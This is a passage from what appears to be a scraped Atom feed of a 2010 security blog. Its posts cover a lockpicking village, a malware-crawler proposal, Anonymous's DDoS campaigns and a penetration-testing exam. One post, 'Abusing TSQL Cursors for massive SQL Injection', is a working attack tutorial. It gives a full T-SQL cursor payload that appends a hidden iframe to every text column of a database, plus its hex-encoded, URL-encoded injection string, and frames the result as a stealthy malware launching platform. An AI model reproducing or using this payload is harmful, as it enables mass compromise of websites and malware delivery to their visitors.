src="http://3.bp.blogspot.com/_XO4oPTSf_6U/TNmPmSf0I4I/AAAAAAAAAAU/35e7LnzuHK0/s320/ricoh-xss1.JPG" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-2179361795286661413?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/2179361795286661413/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/11/ricoh-web-image-monitor-203-reflected.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2179361795286661413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/2179361795286661413'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/11/ricoh-web-image-monitor-203-reflected.html' title='Ricoh Web Image monitor 2.03 Reflected XSS Vuln'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_XO4oPTSf_6U/TNmPmSf0I4I/AAAAAAAAAAU/35e7LnzuHK0/s72-c/ricoh-xss1.JPG' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-4963067685122752312</id><published>2010-11-04T06:51:00.000-07:00</published><updated>2010-11-04T06:51:25.721-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='SQL Injection'/><category scheme='http://www.blogger.com/atom/ns#' term='hacks'/><title type='text'>Abusing TSQL Cursors for massive SQL Injection</title><content type='html'>I'm sure that there are plenty of people who already know about this technique. I have just recently discovered it however. Upon research, it looks like some malware goonies were using this to try and spread Zeus. We are going to look at a very fast and nasty way of abusing a SQL Injection vector. We will be abusing TSQL Cursors in order to rewrite a very&amp;nbsp;large&amp;nbsp;amount&amp;nbsp;of data. So let's build this attack.&lt;br /&gt;&lt;br /&gt;First we want to craft our ultimate payload. in this case we are going to make an iframe such as this:&lt;br /&gt;&lt;iframe height="0" src="http://cosine-security.blogspot.com" width="0"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;Now we want to spray our hidden little iframe all voer the site. In order to maximise our potential of exposing viewers to it, we are gonig to overwrite all the char, varchar,nchar, and nvarchar fields. We will append our iframe to the end of each record, trying to just add&amp;nbsp;ourselves&amp;nbsp;to the existing data and avoid notice for as long as possible. This is where the TSQL Cursor comes into play. We are going to declare a cursor, based off of the sysobjects and syscolumns table in master. We are looking in those tables for a list of all the *char columsn in suer defined tables. We then sue the cursor to fetch each record and append our iframe in. the query should look something like this:&lt;br /&gt;&lt;br /&gt;DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM &amp;nbsp;Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''&lt;iframe height="0" src="http://cosine-security.blogspot.com" width="0"&gt;&lt;/iframe&gt;''')FETCH NEXT FROM &amp;nbsp;Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor&lt;br /&gt;&lt;br /&gt;When we are all done, we close up shop, and deallocate the cursor. If everything went right, then we will be flying&amp;nbsp;under&amp;nbsp;the radar, and it could be a long time before anyone notices what we have done.&lt;br /&gt;&lt;br /&gt;So now we have our payload, but we still need to get it in throguh the SQL Injection vector. to do this, we are going to use the Declare,CAST, EXEC method. We will convert our query to hex, which will give us:&lt;br /&gt;&lt;br /&gt;0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b27273c696672616d65205352433d22687474703a2f2f636f73696e652d73656375726974792e626c6f6773706f742e636f6d223e272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72&lt;br /&gt;&lt;br /&gt;In our Injection string we will Declare a variable "Declare @S", then we will cast our Hex String to nvarchar into @S, and then, finally, we Exec @S. Once we have it built, we then URL encode, and we have a nasty little package to send:&lt;br /&gt;&lt;br /&gt;DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4445434c415245204054207661726368617228323535292c404320766172636861722832353529204445434c415245205461626c655f437572736f7220435552534f5220464f522073656c65637420612e6e616d652c622e6e616d652066726f6d207379736f626a6563747320612c737973636f6c756d6e73206220776865726520612e69643d622e696420616e6420612e78747970653d27752720616e642028622e78747970653d3939206f7220622e78747970653d3335206f7220622e78747970653d323331206f7220622e78747970653d31363729204f50454e205461626c655f437572736f72204645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c4043205748494c4528404046455443485f5354415455533d302920424547494e20657865632827757064617465205b272b40542b275d20736574205b272b40432b275d3d727472696d28636f6e7665727428766172636861722c5b272b40432b275d29292b27273c696672616d65205352433d22687474703a2f2f636f73696e652d73656375726974792e626c6f6773706f742e636f6d223e272727294645544348204e4558542046524f4d20205461626c655f437572736f7220494e544f2040542c404320454e4420434c4f5345205461626c655f437572736f72204445414c4c4f43415445205461626c655f437572736f72%20AS%20NVARCHAR(4000));EXEC(@S);&lt;br /&gt;&lt;br /&gt;This method, could of course b used in a number of different ways, but this is the probably the best bang for the buck. A quick and horribly easy way to turn a vulnerable site into a malware launching platform.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-4963067685122752312?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/4963067685122752312/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/11/abusing-tsql-cursors-for-massive-sql.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4963067685122752312'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/4963067685122752312'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/11/abusing-tsql-cursors-for-massive-sql.html' title='Abusing TSQL Cursors for massive SQL Injection'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-724725171316631773</id><published>2010-10-09T09:30:00.000-07:00</published><updated>2010-10-09T09:30:33.299-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='FALE'/><category scheme='http://www.blogger.com/atom/ns#' term='hackerspace'/><category scheme='http://www.blogger.com/atom/ns#' term='lockpicking'/><title type='text'>Epic FALE!</title><content type='html'>So I got back from Security Bsides Atlanta last night. There were some interesting talks out there. Especially the one on Google and Bing hacking. Some really neat stuff there. Right now though, I want to talk about the guys from &lt;a href="http://lockfale.com/"&gt;FALE&lt;/a&gt;&amp;nbsp;. I heard these guys were going to be at Bsides from &lt;a href="http://schuylertowne.com/"&gt;Schuyler&lt;/a&gt;&amp;nbsp;&lt;a href="http://openlocksport.com/"&gt;Towne's&lt;/a&gt; &lt;a href="http://www.kickstarter.com/projects/schuyler/lockpicks-by-open-locksport/posts"&gt;Kickstarter update&lt;/a&gt;. Here's what Schuyler had to say for all of your nonbackers:&lt;br /&gt;&lt;blockquote&gt;&lt;span class="Apple-style-span" style="color: #444444; font-family: Helvetica, Arial, sans-serif; font-size: 17px; line-height: 23px;"&gt;I'm sorry you can't be there. However - you can and should go to B-Sides, Atlanta! My friends at FALE:&amp;nbsp;&lt;a href="http://lockfale.com/" rel="nofollow" style="border-bottom-width: 0px; border-color: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #1dacf6; font-family: inherit; font-size: 17px; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"&gt;http://lockfale.com/&lt;/a&gt;, will be there running workshops, giving talks, and bringing tons of goodies. It's their first time running a Lockpicking Village, but I think they've got an honest shot to make it one of the best in the country. I just shipped them 1.5 gigs of material I've produced too, so hopefully that will add to their already considerable stores.&lt;/span&gt;&lt;/blockquote&gt;So go to Bsides I did. Hang out at the Lockpicking village I did. I walked in the door and John immediately says "Hey man, come on in and pick a lock". All the FALE guys introduced themselves, and I told them I was there because of Schuyler's post. That really got things going. Then I told them about the &lt;a href="http://www.meetup.com/Hackerspace-Charlotte/"&gt;Charlotte&lt;/a&gt; &lt;a href="http://www.hackerspacecharlotte.org/"&gt;Hackerspace&lt;/a&gt;&amp;nbsp;and things really got going. I spent a lot of time in the Lockpicking Village, picking locks and hanging out with these guys. They had three challenges running, each one resulting in your name being entered into a drawing. The first Challenge was to simply pick a lock. The second challenge, "The MacGuyver Challenge", was to make your own tool out of scraps and open a lock with it. I went what I thought would be the easiest route, and made a padlock shim. It took me 6 or so tries to get one the right size that wouldn't break in the lock. In the process I cut my thumbs up pretty good. In the end I did open a Brinks padlock with my shim though. The Final&amp;nbsp;Challenge&amp;nbsp;was "The Pro Challenge". this&amp;nbsp;involved&amp;nbsp;opening on of their higher difficulty locks with security drivers. It took me&amp;nbsp;almost&amp;nbsp;an hour and half but I finally got that sucker open, and I was super happy! In the drawings,&lt;br /&gt;&lt;br /&gt;&amp;nbsp;I actually got drawn twice in the giveaway, once for my MacGuyver win, which got me a nice&amp;nbsp;starter&amp;nbsp;set of the Sparrows Wizwazzles. I also got drawn for my Pro Challenge win and would ahve taken the largest Southern&amp;nbsp;Specialties&amp;nbsp;basket, but they had a strict 1 win policy. They wouldn't let me upgrade either =/ . It was okay though,&amp;nbsp;because&amp;nbsp;the guy who did win was pretty excited about it, and I was really happy for him. Besides, I will have a big set of Schuyler's picks coming anyways.&lt;br /&gt;&lt;br /&gt;The day wrapped up and I braved the god forsaken Atlanta beltway to start home. Once I was clear of the heaviest traffic I decided to pull of at a Wendy's for dinner. Imagine my surprise when I am up at the counter and hear someone shout my name. I turn around, and there are the FALE guys. So we sat down, had dinner and hung out for a little bit. I have gotten past the straight boring facts now, so let me just say this: These guys are so awesome. I had so much fun hanging out with these guys it was nuts. They are smart guys, no doubt, but they are also super&amp;nbsp;friendly, and just plain cool. One of the greatest things about them is their passion. These guys know alot about&amp;nbsp;lock picking, and over that dinner they shared a lot of tips and secrets with me. What was great though, was not the knowledge itself, but the atmosphere around that table. These guys loved not only doing locksport, and knowing locksport, but sharing locksport. These were not like some of your typical hackers, who like to hoard knowledge and dole it out in small bits to make themselves pseudoimprotant. These guys couldn't stop spilling knowledge all&amp;nbsp;over&amp;nbsp;the place. It's like they couldn't help themselves!&lt;br /&gt;&lt;br /&gt;They asked me about what I thoguht they could do better next time. I had really very little to offer from this standpoint, except that it would have been cool to talk more about wafer, disc, and tubular locks, and that competitions would have also been cool. They also asked me a bout the HackerSpace, and have expressed a lot of strong interest in coming and visiting, and maybe doing a talk for us. Whether they come up here, or I go down there next, I don't know. What I do know is that FALE and I have not seen the last of each other. Thanks John, Evan, Matt, Scott, and Adam! Oh, and thank you Schuyler for inspiring me to go in the first place!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-724725171316631773?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/724725171316631773/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/10/epic-fale.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/724725171316631773'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/724725171316631773'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/10/epic-fale.html' title='Epic FALE!'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-6737711143785830779</id><published>2010-09-29T09:28:00.000-07:00</published><updated>2010-09-29T09:28:18.730-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='malware'/><category scheme='http://www.blogger.com/atom/ns#' term='antivirus'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google and Safe(r) Browsing</title><content type='html'>So Google has announced a new tool. This tool,&amp;nbsp;&lt;a href="http://googleonlinesecurity.blogspot.com/2010/09/safe-browsing-alerts-for-network.html"&gt;Safe Browsing Alerts&lt;/a&gt;&amp;nbsp;seeks to notify ISPs of malicious web content hosted on their AS. I love to see things like this, and it gives me a little hope for the future. It is the proverbial step in the right direction to my line of thinking. The fight against malware needs to become more proactive. &amp;nbsp;However, I don't know how effective letting AS owners know will be. &amp;nbsp;The&amp;nbsp;information&amp;nbsp;really needs to go more towards hosting companies and the like. people with the ability to pull content.&lt;br /&gt;&lt;br /&gt;Here is my brief,&amp;nbsp;idealized, dream. We take the &lt;a href="http://stopbadware.org/"&gt;stop badware model&lt;/a&gt; and expand it. A strong coalition is created to proactively identify malicious content on the internet and stamp it out where possible. This coalition would include the major AV vendors (&lt;a href="http://usa.kaspersky.com/"&gt;Kaspersky&lt;/a&gt;, &lt;a href="http://www.f-secure.com/"&gt;F-Secure&lt;/a&gt;, &lt;a href="http://www.trendmicro.com/"&gt;TrendMicro&lt;/a&gt;,&lt;a href="http://http/;//www.symantec.com"&gt;Symantec&lt;/a&gt;,&lt;a href="http://www.mcafee.com/"&gt;Mcafee&lt;/a&gt;, &lt;a href="http://www.sophos.com/"&gt;Sophos&lt;/a&gt;, etc) and the major search engines &lt;a href="http://www.google.com/"&gt;Google&lt;/a&gt;, &lt;a href="http://www.bing.com/"&gt;Microsoft&lt;/a&gt;, and &lt;a href="http://www.yahoo.com/"&gt;Yahoo&lt;/a&gt;(does anyone really use yahoo anymore?). A crawler is designed to go out across the web and look for malicious content. I am envisioning two main branches of this:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;ol&gt;&lt;li&gt;As new exploits/payloads are discovered, the crawler searches for specific files or content that indicate the presence of the exploit or payload. Very google-hacking approach. This would be like looking for the windows RDP web connection by doing&amp;nbsp;&lt;span class="Apple-style-span" style="color: #333333; font-family: arial; font-size: 13px; line-height: 18px;"&gt;intitle:"Remote Desktop Web Connection" inurl:tsweb .&amp;nbsp;&lt;/span&gt;This detection can be avoided fairly easily, but it will still quickly catch some of the low hanging fruit.&lt;/li&gt;&lt;li&gt;The actual crawler. This crawler goes out and actually analyses the content on the pages it crawls and looks for malicious content. This would be hard to do efficiently, I suspect, but could be done with&amp;nbsp;proper&amp;nbsp;resources.&lt;/li&gt;&lt;/ol&gt;&lt;div&gt;So, assuming this dream comes true, what happens next? Well, a couple of things would happen at this point. The discovered malicious content would be&amp;nbsp;cataloged. This would then be fed back to the participant &amp;nbsp;companies. It would go to the AV vendors to examine and create new definitions if needed. It would go to the search Providers to reflect in their own search engine results. Suddenly alongside your&amp;nbsp;Google&amp;nbsp;or Bing results, you see a warning "Potentially&amp;nbsp;Dangerous Content Detected". This serves as a warning to the public, sort of a "caveat lector". Then, the coalition should attempt to notify appropriate parties. This could include AS owners, &amp;nbsp;hosting&amp;nbsp;companies, and/or whois contact persons.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;None of this of course 'solves' the problem. It is still up to individuals to do the right things. It is up to the user to not go to a site flagged as dangerous, and to have appropriate protection on their machine. It is up to the webmaster to make sure that their sites are not compromised, or hosting malicious content. What this could do, however, is raise visibility and awareness. It would give malware less places to lurk. Of course the&amp;nbsp;bad&amp;nbsp;guys will just move faster, finding new ways of hiding their stuff. It would be a start though. anyways, that's jsut my silly little dream. Who knows, maybe it will one day become a reality.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-6737711143785830779?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/6737711143785830779/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/09/google-and-safer-browsing.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6737711143785830779'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/6737711143785830779'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/09/google-and-safer-browsing.html' title='Google and Safe(r) Browsing'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-5710211791685209634</id><published>2010-09-24T09:00:00.001-07:00</published><updated>2010-09-24T09:00:15.245-07:00</updated><title type='text'>The Invisible War: March of the /b/tards</title><content type='html'>Here goes an attempt at starting a 'series'. The name 'Invisible&amp;nbsp;War' may be reaching a bit, but sometimes it feels like it is appropriate. There are things developing on the internet that have very&amp;nbsp;interesting&amp;nbsp;ramifications. Perhaps I should say growing, instead of developing, as it seems a rather organic process. Today I would like to talk about the Internet Hate Machine that is 4chan.&lt;br /&gt;&lt;br /&gt;For a very long time, the Internet has been growing these places. Usenet and IRC have always been bastions of trolls, flamers, and people you just don't want to get into it with. Offensive tactics often included various attack tools to carry out wars of annoyance against targets. I can very clearly remember the good ol days of IRC, full of skiddies with ICMP "nukers" and takeover scripts etc. As with everything else on the Internet, the Hate Machine grew and changed&lt;br /&gt;&lt;br /&gt;4chan has become the penultimate&amp;nbsp;embodiment&amp;nbsp;of this writhing entity., thanks to /b/ . The denizens of 4chan /b/, known as /b/tards are an interesting and complicated 'group'. I user the term 'group' very loosely. /b/ is&amp;nbsp;almost&amp;nbsp;anarchy incarnate, and to assign any real structure to it, would be&amp;nbsp;disingenuous. The /b/tards gave rise to Anonymous and all of the internet grief that particular group has caused. If you don't know, Anonymous is the group that carried out the campaign against the Church of Scientology. They launched site defacements, distributed videos that the church tried to&amp;nbsp;suppress, and even organised real life protests outside of Church of Scientology facilities. &amp;nbsp;Anonymous began to demonstrate the true power of Internet&amp;nbsp;Crowd sourcing. &lt;br /&gt;&lt;br /&gt;Recently, the /b/tards have been on the move again. The news is abuzz with their attacks againsts the MPAA,RIAA, Aiplex Software, and BPI. This is allegedly in direct response to actions taken against the torrent hosting site thepiratebay.org. While not all of the attacks were successful, they have attracted a lot of notice. One has to wonder if that isn't the true aim. What would they accomplish, long term, by bringing down these servers. Even if they brought them down for more than a few hours, they would be&amp;nbsp;brought&amp;nbsp;back up, and actions would be taken to mitigate the attacks. They are not silencing their opposition, so maybe the goal is the opposite. To create a lot of noise. How many people knew about what Aiplex software was getting up to before, and how many know now? The same with ACS:Law? How much longer will the whole piracy issue stay in people's attention now because of these antics?&lt;br /&gt;&lt;br /&gt;I do not know if this result was intended, or if the /b/tards are acting out of a much more visceral drive. Given that the average /b/tard is not amongst the highest forms of life on this planet, i would not ascribe much&amp;nbsp;forethought&amp;nbsp;to&amp;nbsp;mot&amp;nbsp;of their actions. /b/ is rather like a&amp;nbsp;horde&amp;nbsp;of&amp;nbsp;rampaging&amp;nbsp;orcs, but like orcs, once they get started they can be surprisingly effective. I find myself pondering the possability of a few dark&amp;nbsp;sorcerers&amp;nbsp;pulling the strings of this unruly horde. &amp;nbsp;I look at the 'call to arms' for some of these attacks and people start using crappy pe-built skiddie tools a lot of times, that probably have no chance of being truly effective against a serious target.&amp;nbsp;However, if there were a few well hidden masterminds behind the scenes, we see a different picture.&lt;br /&gt;&lt;br /&gt;Suppose you are a botherder or malicious hacker with a sinister agenda. You have decided that you can no longer stand the Foo Corp's policies, and&amp;nbsp;want&amp;nbsp;to take them down. You read the reports though, you know even botnets get tracked back to their owners a lot of the time. You need some way to keep the focus off of you. So you go&amp;nbsp;crowd sourcing&amp;nbsp;in /b/ . You whip the /b/tards into a frenzy and they pull out their toys and get ready. some of them undoubtedly know what they are actually doing, and that is even for the better. Now, you give them all a time and date, and everyone launches their attack. The IR Team at Foo Corp all of a sudden sees the deluge hitting their&amp;nbsp;perimeter. While the firewalls and IPs are reflecting most of the useless crap that is being flung at them, you and a few of the more clever blokes, slip right past their perimeter. &amp;nbsp;Their IPS systems are already screaming at the top of their lungs, so who's to notice? You get in, do your damage, and get out. Meanwhile, the deluge continues. By the time it is all done, the folks at Foo Corp are going to have their hands full tracking back&amp;nbsp;through&amp;nbsp;the logs for quite a while. This means that the chances of anything being tracked back to you is greatly diminshed.&lt;br /&gt;&lt;br /&gt;So are the denizens of /b/ the new secret cyber warriors? Is there a core cadre within Anonymous that is using the rest of the /b/ crew as little more than pawns? Are they&amp;nbsp;guided&amp;nbsp;by&amp;nbsp;belief&amp;nbsp;that they are in the right? &amp;nbsp;There seems to be evidence that at least some of them are waging an information war. They strike at powerful targets who manipulate the system to their&amp;nbsp;advantage. Groups like the Church of Scientology, MPAA, BPI etc, get away with an awful lot, by turning the system to their&amp;nbsp;advantage, and they sue considerable monetary resources and influence to ensure that they always have the advantage. So are groups like Anonymous just turning the tables a bit? Is this the&amp;nbsp;beginnings&amp;nbsp;of digital&amp;nbsp;revolution? Or is it all just a bunch of angry adolescents with nothing better to do?&lt;br /&gt;&lt;br /&gt;I don't have the answers to those questions. What I do know, is that this is a sign of things to come. The Internet is becoming more and more concrete. Impact on the net is&amp;nbsp;having&amp;nbsp;more and more tangible impact in the real world. As this trend increases, what is that going to do to the balance of power in our society, with groups like anonymous running around?&lt;br /&gt;&lt;br /&gt;For more information on the recent attacks please read:&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2010/09/24/piracy_threat_lawyers_withstand_ddos/"&gt;http://www.theregister.co.uk/2010/09/24/piracy_threat_lawyers_withstand_ddos/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.theregister.co.uk/2010/09/20/4chan_ddos_mpaa_riaa/"&gt;http://www.theregister.co.uk/2010/09/20/4chan_ddos_mpaa_riaa/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.sophos.com/blogs/chetw/g/2010/09/19/4chan-takes-mpaa-riaa-aiplex-wins/"&gt;http://www.sophos.com/blogs/chetw/g/2010/09/19/4chan-takes-mpaa-riaa-aiplex-wins/&lt;/a&gt;&lt;br /&gt;&lt;a href="http://torrentfreak.com/4chan-ddos-takes-down-mpaa-and-anti-piracy-websites-100918/"&gt;http://torrentfreak.com/4chan-ddos-takes-down-mpaa-and-anti-piracy-websites-100918/&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1152299631250525001-5710211791685209634?l=cosine-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cosine-security.blogspot.com/feeds/5710211791685209634/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://cosine-security.blogspot.com/2010/09/invisible-war-march-of-btards.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5710211791685209634'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1152299631250525001/posts/default/5710211791685209634'/><link rel='alternate' type='text/html' href='http://cosine-security.blogspot.com/2010/09/invisible-war-march-of-btards.html' title='The Invisible War: March of the /b/tards'/><author><name>thelightcosine</name><uri>http://www.blogger.com/profile/03060233785644761709</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1152299631250525001.post-7537355032814332983</id><published>2010-09-22T06:25:00.000-07:00</published><updated>2010-09-22T06:25:35.024-07:00</updated><title type='text'>The CEPT Exam Practical</title><content type='html'>I finally received the word that I have passed my &lt;a href="http://www.iacertification.org/cept_certified_expert_penetration_tester.html"&gt;Certified Expert Penetration Tester(CEPT)&lt;/a&gt; certification exam. This was the best, and most enjoyable certification exam I have ever taken. There is a brief, and rather easy multiple-choice written exam. Then the real work begins. You are given 60 days to complete and submit a practical. This practical has three sections:&lt;br /&gt;&lt;ol&gt;&lt;li&gt;Write a working Windows stack overflow exploit for a piece of software they provide&lt;/li&gt;&lt;li&gt;Write a working remote stack overflow or a format string exploit for a piece of code they provide&lt;/li&gt;&lt;li&gt;Reverse engineer a win32 binary to bypass it's registration mechanism.&lt;/li&gt;&lt;/ol&gt;The first portion of this was surprisingly easy. The software they provide you is an actual piece of windows software. It is old though so it needs to be run in an appropriate environment. I don't recall if it was WinXP compat, but I did all mine in a win2k VM, which provided some interesting challenges in terms of having to go searching through libraries for some calls. Also, you have to get a little tricky because the initial space you have to work with is not large enough for any meaningful shellcode in of itself. However, this really presents little trouble if you know what you're doing. My Time to Completion: 8 hours&lt;br /&gt;&lt;br /&gt;I am going to come back to #2 in a minute, instead let's talk about #3. This was by far the most exciting prospect. This is the kind of stuff that just makes you love your work. alas, the IACRB does not put up any real challenge with their supplied target binary. Some well placed breakpoints in softICE and the whole thing reads like a book. Chances are that when you make your first alteration to the binary and test it, you are going to feel really unsatisfied when you realize it's done and you've already won. They throw no tricks or protection schemes in to really trip you up. My Time to completion: 2 hours&lt;br /&gt;&lt;br /&gt;So that brings us back to the Linux exploit. I don't know who wrote the c code that they provide you, but I can tell you this: He is a bastard. They tell you that you can do either the remote buffer overflow or the format string. So, not wanting all the various headaches that format string attacks can bring, I tried the stack overflow first. The vulnerable function in this case is not your standard simple buffer overflowable function. The buffers are both declared at the beginning of int main, and are then passed to the vulnerable function as pointers. This means that you can't overwrite the return pointer of the 'vulnerable function'. Instead you are overflowing towards int main's return pointer. In of itself, this is not a problem. The problem comes in the stack layout for int main. Between the vuln buffer and the saved return pointer is the declaration of a socket file descriptor. This file descriptor has a value of 7, or 0x00000007 . Do you see the problem here? The socket itself is essentially acting as a stack canary. Because what happens is the control loop won't exit until it has read specific input off the socket. so if we overflow the socket fd, it goes to eprform a recv() call on a file descriptor that does not exist, returning an error, which does NOT break the control loop. The result, we never get our terminator input read from the socket, but it will keep going back and trying to read from a socket that it doesn't know where it is anymore. We end up in an endless loop. There is surely someway to beat this scenario. I don't think the IACRB would make that a 'trick question', but I'll be damned if i could figure out how to bypass that bit of nastiness.&lt;br /&gt;&lt;br /&gt;So, after lots and lots of wasted time looking at the stack, i moved on to trying the format string. I had some trouble here that was due to my own lack of familiarity with a certain mechanism they use. It is a common c mechanism, so I have little excuse, i just didn't know much about how it operated on the stack. Once I figured that out there were a few tricks I had to use because of the nature of the program itself. There is a lot of backwards-forward flip-flop thinking involved here, but if you can keep your data flow straight in your head you'll do fine. If not, do what i did, use a lot of sheets of scrap paper. At one point during this, i wrote down every variable and it's offset just so I could visually see where everything was on the stack at a glance. This is very important. You are going to want to become intimately aware of where everything is on the stack and how it got there, it will make your life easier. The final challenge was then taking the exploit and pulling it together into a single cohesive exploit with no manual processes. This was of course a job for Perl, and my favourite language performed admirably with just a tiny bit of help from C(I decided to quickly write a statically compiled binary to do one little piece for me. I didn't know how to dot hat part in perl, and so I just fudged it a little bit with C, sue me.) My time to completion: ~ 3 weeks!&lt;br /&gt;&lt;br /&gt;All things considered, I found the CEPT Practical Exam to be one of the most worthwhile things I've done. It is by far the best, most relevant, and most rewarding certification I've ever gone after.&lt;br /&gt;&lt;br /&gt;Finally, I have to thank &lt;a href="http://www.infosecinstitute.com/"&gt;Infosec Institute&lt;/a&gt;. I had some not so great things to say about the &lt;a href="http://www.infosecinstitute.com/courses/ethical_hacking_training.html"&gt;first half&lt;/a&gt; of their 2 week course. However, the &lt;a href="http://www.infosecinstitute.com/courses/advanced_ethical_hacking_training.html"&gt;second half&lt;/a&gt; of the course was very good. The instructor in the online videos seemed very 